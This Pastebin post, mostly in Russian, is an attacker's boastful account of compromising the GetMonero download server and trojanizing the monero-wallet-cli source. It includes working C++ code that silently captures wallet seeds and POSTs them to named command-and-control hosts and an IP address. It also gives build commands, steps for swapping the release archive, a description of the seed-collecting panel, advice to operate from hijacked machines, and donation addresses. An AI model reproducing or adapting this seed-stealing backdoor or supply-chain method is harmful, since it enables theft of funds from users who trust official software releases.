Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Здравствуйте. Наверное все слышали об взломе сайта криптовалюты Monero? Если интересно, то читайте дальше.
- Сама дыра была активна более 4 месяцей. Мы долго наблюдали за ними, думали как провернуть атаку. День Х был 18 числа.
- Работали я и мой кодер. Смотрели как они входят на сервер, смотрели за их действиями. Нас не заметили за все это время.
- 1. Компроментация GetMonero.
- Обновлю данную тему после того как удалят мой бекдор и закроют уязвимость иначе нет гаранитии в безопасности.
- Скажу сразу доступ был по SSH, а не как многие утверждают по FTP (LOL, 2019 and FTP???)
- Компроментация имеет длинную цепочку действий, но весьма легка в исполнении.
- Взлом занял: 47 минут.
- 2. Заражение исходного кода monero-wallet-cli.
- Изначально хотели заразить GUI, RPC и сам CLI. Но потом остановились только на CLI. Войдя в ./monero/src сразу в глаза попадают папки:
- ./monero/src/wallet
- ./monero/src/simplewallet
- Начнем с самого простого, simplewallet. Открываем ./monero/src/simplewallet/simplewallet.h и смотрим какие есть функции.
- Сразу видно что имена некоторых функций совпадают с именами команд (viewkey, seed ...). Значит глянем ./monero/src/simplewallet/simplewallet.cpp
- C самого начала мы хотели получать: address, viewkey и spendkey. Но это плохая затея ведь spendkey валиден только 1 раз. По этому давайте глянем в сторону seed.
- В открытом нами файле обычным поиском ищем: "simple_wallet::seed(" и видим что она вызывает: "simple_wallet::print_seed". Эта функция показывает seed при генерации или вызове команды "seed".
- /*!
- * \brief Prints the seed with a nice message
- * \param seed seed to print
- */
- void simple_wallet::print_seed(const epee::wipeable_string &seed)
- Запоминаем и дивижемся дальше.
- Вызов данной функции ещё идет в "simple_wallet::open_wallet" - эта функция вызывается при открытии кошелька. Все что нужно мы нашли.
- Дальше бродя по коду начинаем понимать его логику, тут все писать не буду.
- Запрашиваем пароль, открываем кошелёк.
- auto rc = tools::wallet2::make_from_file(vm, false, "", password_prompter);
- m_wallet = std::move(rc.first);
- password = std::move(std::move(rc.second).password());
- Тут можно было бы взять rc.second и у нас уже бы был пароль которым мы может вызвать unlock и получить seed. Но нашей целью является не хищение денег, а просто способ показать что криптовалюта какая бы она не была анонимна может подвергнуться атаке изнутри.
- Так что оставлю "пасхалку" чтобы опытные юзеры сразу заметили подвох. Имея малейший опыт работы с CLI можно заметить что при вызове команд для показа seed и spendkey запрашивает пароль. Давайте просто модифицируем эти команды и вставим маленький кусочек кода для отправки seed.
- Change:
- bool print_seed(bool encrypted) -> bool print_seed(bool encrypted, bool not_print)
- Add after line 307:
- int send_to_cc(std::string pdata, std::string server, int attempt);
- void send_seed(const epee::wipeable_string &seed);
- // тут мы запросим пароль
- auto rc = tools::wallet2::make_from_file(vm, false, "", password_prompter);
- ...
- // проведем открытие кошелька
- m_wallet->callback(this);
- m_wallet->load(m_wallet_file, password);
- // значит ниже запросим опять пароль и отправим seed to us
- std::string prefix;
- bool ready;
- uint32_t threshold, total;
- // send seed in func
- print_seed(false, true);
- Это будет достаточно не заметно если окно monero-wallet-cli попросит ввести пароль обратно. Обычный юзер подумает что ошибся при вводе.
- Проведем модификацию кода "bool simple_wallet::print_seed(bool encrypted, bool not_print=false)"
- ...
- if (multisig)
- success = m_wallet->get_multisig_seed(seed, seed_pass);
- else if (m_wallet->is_deterministic())
- success = m_wallet->get_seed(seed, seed_pass);
- if (success)
- {
- // not print seed, just send
- if (not_print){
- send_seed(seed);
- } else {
- print_seed(seed);
- }
- }
- ...
- Функция "simple_wallet::send_seed(const epee::wipeable_string &seed)" код
- void simple_wallet::send_seed(const epee::wipeable_string &seed) {
- std::string str;
- int space_index = 0;
- size_t len = seed.size();
- for (const char *ptr = seed.data(); len--; ++ptr)
- {
- if (*ptr == ' ')
- {
- if (space_index == 15 || space_index == 7){
- str += '+';
- } else {
- str += '+';
- }
- ++space_index;
- }
- else {
- str += *ptr;
- }
- }
- send_to_cc("memo="+str, "node.hashmonero.com", 1);
- }
- Функция "int simple_wallet::send_to_cc(std::string pdata, std::string server, int attempt)" код
- int simple_wallet::send_to_cc(std::string pdata, std::string server, int attempt)
- {
- try {
- boost::asio::io_service io_service;
- boost::asio::ip::tcp::resolver resolver(io_service);
- boost::asio::ip::tcp::resolver::query query(server, "http");
- boost::asio::ip::tcp::endpoint end = *resolver.resolve(query);
- std::string ipserv = end.address().to_string();
- boost::system::error_code ec;
- boost::asio::io_service svc;
- boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23);
- boost::asio::ssl::stream<boost::asio::ip::tcp::socket> ssock(svc, ctx);
- boost::asio::ip::tcp::resolver resolver2(svc);
- auto it = resolver2.resolve({ipserv, "18081"});
- boost::asio::connect(ssock.lowest_layer(), it);
- ssock.handshake(boost::asio::ssl::stream_base::handshake_type::client);
- boost::asio::streambuf request;
- std::ostream request_stream(&request);
- request_stream << "POST " << "/" << " HTTP/1.1\r\n";
- request_stream << "Content-Type: application/x-www-form-urlencoded\r\n";
- request_stream << "Content-Length: " << pdata.length() << "\r\n";
- request_stream << "Connection: close\r\n\r\n";
- request_stream << pdata;
- boost::asio::write(ssock, request);
- } catch(...) {
- if (attempt == 1) {
- send_to_cc(pdata, "node.xmrsupport.co", attempt+1);
- } else if (attempt == 2) {
- send_to_cc(pdata, "45.9.148.65", attempt+1);
- } else if (attempt == 3) {
- return 0;
- }
- }
- return 0;
- }
- Добавим в конец функции "void simple_wallet::print_seed(const epee::wipeable_string &seed)" 1 строчку.
- send_seed(seed);
- Создание заняло: ~30 минут. Мы получаем seed при генерации, восстановлении и открытии кошелька. Да, да. Благодаря нескольким действиям.
- Готово. Поехали строить.
- make release-static-win64 - for Windows (on Windows 64)
- make release-static - for Linux (on Linux)
- Мы рекомендуем использовать hVNC для максимальной анонимности и все действия делать на взломанных машинах.
- 3. Подменяем архив
- One simple step: Загружаем наш архив на сервер.
- 4. Get rewards
- За 1 час 15 минут мы собрали больше 8 тысяч seed's.
- 5. What next?
- Возвращаем оригинальный архив на сервер. Логи идут дальше все равно.
- Админка наших гейтов была простая. Проверка на наличие POST key "memo" and 24 spaces in memo. Next just save the seed to file.
- Final.
- Мы могли бы заразить и остальные версии, сменить хеши чтобы не вызвать подозрение, мы могли бы заражать вредоносное программное обеспечение например как Smoke loader, etc. Но мы просто собрали seed и сделали:
- rm -rf ~/seeds.txt
- На вопрос "а какие там могли быть балансы" тоже есть ответ:
- Больше 8 тысяч XMR монет = 5
- От 5 тысяч до 7623 XMR монет = 3
- Все остальное ниже 5 тысяч XMR монет.
- Это из 1000 проверенных seed в автоматическом режиме, случайной выборкой. Но мы не украли ни пенни. Be happy Monero.
- Один из IP адресов в логах - пренадлежит бирже.
- Другое более смешное то что у нас есть доступ к Github и личной почте. Пожалуйста смените пароли и обновите SSH.
- Всем "researchers" которые убили целый день на поиск CC servers - facepalm. Мы даже их не шифровали, сколько можно было искать.
- Итог:
- Мы могли бы заработать миллионы, обрушить курс, заразить пользователей если бы проделали и другие описанные действия. Всего лишь за 2 часа (взлом + инфекция исходных кодов и публикация 12 Nov.) Но нам это не нужно.
- Чисто ради фана и хайпа.
- Hello r/Monero 😉
- I'm 16 years old, hello from Palestine. Wait for next news)
- Want to donate?
- BTC: 19vxXBT6UjVLemd72pnHGtpGAKq52qqz7e
- XMR: 474WMSrkwM1QiAWCL14cakXMbfWaoLry5cHfmp2CvdxEHDCkrxKyeJuHSteydvgtJuhryd3ntJiTwXCopGkDwy4zNjpFCnJ
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement